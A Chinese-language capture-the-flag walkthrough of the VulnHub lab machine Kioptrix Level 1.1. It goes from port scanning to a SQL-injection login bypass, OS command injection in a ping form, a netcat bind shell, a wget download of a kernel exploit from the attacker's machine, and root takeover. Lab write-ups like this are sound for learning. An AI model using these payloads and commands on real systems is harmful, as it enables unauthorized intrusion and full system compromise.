准备工作
靶机基本信息
靶机名称:Kioptrix Level 1.1(#2)
操作系统:Linux
虚拟机软件:VMware Workstation
网络连接方式:桥接至物理网络
渗透测试目标:获取靶机root权限和交互式Shell
下载地址: Kioptrix: Level 1.1 (#2) ~ VulnHub
下载
- 打开下载链接,将RAR格式的压缩包解压至指定目录。
- 点击VMware Workstation中的 File -> Scan for Virtual Machines 按钮,在弹出的对话框中选择正确的目录,扫描虚拟机添加即可。
信息收集
主机发现
由于靶机的网络类型为桥接至物理网络,所以将攻击机也置于物理网络下,网段为:192.168.2.0/24,攻击机IP地址为192.168.2.104。使用netdiscover工具进行网络扫描:
# netdiscover带上-r参数可以只在指定的网段中扫描
netdiscover -r 192.168.2.0/24
其中MAC Vendor/Hostname这一项为VMware, Inc.的就是靶机。(IP:192.168.2.114)
目标扫描
目标IP地址已经锁定,接下来可以扫描靶机的开放端口。先进行ICMP连通性测试:
# Ping四次靶机
ping -c 4 192.168.2.114
很好,看来目标靶机大概率没有ICMP防火墙之类的东西。接下来使用nmap探测靶机开放端口:
可以看到目标靶机开放了6个TCP端口:22、80、111、443、631、3306。加上其它参数对其进行详细扫描:
# -sC 使用默认脚本探测目标所有TCP端口
# -A 探测目标操作系统和软件版本
nmap -sC -A 192.168.2.114
可以详细的看到主机开放端口信息:
| 端口号 | 传输层协议 | 应用层协议 | 详细信息 |
|---|---|---|---|
22 | TCP | SSH | OpenSSH 3.9p1 (protocol 1.99) |
80 | TCP | HTTP | Apache httpd 2.0.52 (CentOS) |
111 | TCP | RPC | 2 (RPC #100000) |
443 | TCP | HTTPS | Apache httpd 2.0.52 (CentOS) |
631 | TCP | IPP | CUPS 1.1 |
3306 | TCP | mysql | MySQL (unauthorized) |
同时确定靶机操作系统为CentOS Linux,内核版本在2.6.9至2.6.30之间。
服务探测
互联网打印服务(631)
首先使用BurpSuite访问一下该服务端口,发现提示拒绝访问:
于是尝试修改请求包中的X-Forwarded-For和Host字段数据:
GET / HTTP/1.1
Host: 127.0.0.1:631
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.5
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.0.1
HTTP字段解释:
Host---- 用于区分客户端请求哪个站点;X-Forward-For---- 用于识别客户端的“真实”IP地址。
如果服务端基于这两个字段的内容编写检测代码(即如果XFF头或Host头不为本地环回地址,则拒绝访问),那么将上述两项字段修改为127.0.0.1即可。
但非常明显这不奏效:
已经知道CUPS打印服务器的版本为1.1,无法正常访问服务,对631号端口服务的初步探测结束。
MySQL服务(3306)
使用nc工具向MySQL服务器发送数据包以获取banner信息:
nc 192.168.2.114 3306
返回以下信息:
看来靶机的MySQL服务不允许用户远程登录。尝试使用nmap对MySQL服务进行脚本扫描:
由于MySQL禁止远程登录,扫描失败。对MySQL服务的初步探测结束。
SSH服务(22)
首先使用nc工具探测一下端口的banner信息:
nc 192.168.2.114 22
返回了SSH服务的版本信息:SSH-1.99-OpenSSH_3.9p1
探测结束。
HTTP/S服务(80、443)
首先访问HTTP服务,在浏览器中输入网址——http://192.168.2.114/,浏览主页信息:
主页上是一个网页登录框,标题上的英文意思为“远程系统管理界面登录”,查看页面HTML源代码,发现以下敏感信息:
- 网站的开发语言为PHP;
- 用户名的正确值貌似为
Administrator。
使用dirsearch工具进行目录扫描,发现4个可访问点:
/index.php(网站主页)/index.php/login/(登录框,和主页一样)/manual->http://192.168.2.114/manual/(301跳转)/manual/index.html(Apache软件帮助文档,忽略)
探测结束。
渗透攻击
Web应用程序渗透
既然靶机的Web应用程序只有主页登录框可以作为攻击点,那么只能在登录框处做手脚,尝试进行SQL注入。
爆破密码什么的是不可能的,一辈子都不可能的 ( ᗜ ‸ ᗜ )
首先在登录页面随便输入一串用户名和密码,打开BurpSuite抓取HTTP请求包,确认网页路由信息。
从中可以看到三个关键参数:
uname=> 用户名信息;psw=> 登录密码信息;btnLogin=> 判断用户是否点击登录按钮。
大致猜测后端SQL查询语句如下:
<?php
/* More PHP codes ... */
$username = $_POST['uname'];
$password = $_POST['psw'];
$isLoginInfo = $_POST['btnLogin'];
if ( $isLoginInfo ){
/* More PHP codes ... */
$result = $sql_operator -> query("SELECT id FROM `userdata` WHERE username = '{$username}' AND password = '{$password}'");
/* More PHP codes ... */
}
/* More PHP codes ... */
?>
尝试使用“万能密码”登录:'+or+true/*。
如果这条登录信息未被转义或过滤,那么SQL查询语句就会变成:
SELECT id FROM `userdata` WHERE username = ''+or+true/*' AND password = 'PASSWORD'; */
可以看到查询条件username变成了空值,并加上了查询条件“如果查找不到指定的username值,就查出表中所有信息”,后面原本的查询条件全部被注释了。
这时,我们已经成功登录上了管理后台。使用浏览器访问发现管理后台长这样:
非常明显,这是一个执行操作系统命令的界面,它的本来作用是接收一个IP地址并执行ping命令,但我们可以进行OS命令注入:
127.0.0.1 & id
推测后端代码为:
<?php
$ip_addr = $_POST['ip'];
if (isset( $ip_addr )){
echo($ip_addr."<br>");
exec("ping -c 3 {$ip_addr}");
}
?>
这样就会在ping命令执行成功之后执行id命令。我们可以通过id命令获取当前登录的操作系统用户名:
可以看到当前登录的用户名是apache,UID为48。
接下来准备使用netcat反弹OS Shell到靶机本地监听端口上,再使用攻击机的netcat连接靶机目标端口,看了下攻击机IP地址:
首先需要查看目标靶机中是否有netcat,使用find命令可以在整个根目录下寻找指定名称的文件,在管理后台页面中输入:
127.0.0.1 && find / -name nc
可以看到成功找到了nc命令的路径:
只要找到了netcat的安装路径,就可以反弹Shell了。在靶机命令页面输入框中输入:
192.168.2.108 && /usr/local/bin/nc -lvnp 4444 -e /bin/bash
然后使用攻击机的netcat连接靶机的4444端口:
nc -vv 192.168.2.114 4444
可以看到成功连接至靶机。
提示:使用
netcat工具连接靶机时一开始没有交互式Shell,可以使用Python中的pty类库获取交互式Shell,代码如下:
import pty
pty.spawn("/bin/bash")
确定操作系统信息如下
- IP地址为
192.168.2.114; - 操作系统为
CentOS 4.5; - Linux内核版本为
2.6.9。
接下来进入权限提升部分。
权限提升
首先看到靶机的操作系统为CentOS 4.5,发布时间为2007年5月,因此认为该操作系统可能存在一些已经公开的内核漏洞,优先进行内核漏洞利用提权。
在Kali Linux中使用searchsploit命令搜索漏洞数据库:
searchsploit centos 4.5
可以看到搜索出了大量的漏洞信息,过滤掉绝大多数无关信息之后,决定选用这个EXP:
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privi | linux_x86/local/9542.c
将EXP复制到工作目录下,赋予适当的权限,然后使用Python3的http.server类启动一个简单的HTTP服务器:
# 复制EXP
searchsploit -m 9542.c
# 启动HTTP服务器
python3 -m http.server
在已经获取的靶机Shell中使用wget命令下载EXP源代码文件:
cd /tmp
wget http://192.168.2.108:8000/9542.c
提示:靶机的网页目录没有写入权限,需要先切换至
/tmp目录之后再进行下载。
使用gcc编译EXP源代码,赋予文件执行权限,执行EXP:
gcc ./9542.c -o 9542
chmod 777 ./9542
./9542
可以看到成功提权:
接下来使用passwd命令更改root账户密码:
sh-3.00# passwd root
passwd root
Changing password for user root.
New UNIX password: *********
Retype new UNIX password: *********
passwd: all authentication tokens updated successfully.
sh-3.00#
再然后就可以使用ssh连接靶机了(注:这里因为缺少密钥算法,需要手动添加):
echo "Host 192.168.2.114" >> ~/.ssh/config
echo " KexAlgorithms +diffie-hellman-group-exchange-sha1" >> ~/.ssh/config
echo " HostKeyAlgorithms +ssh-rsa" >> ~/.ssh/config
ssh root@192.168.2.114
成功!!!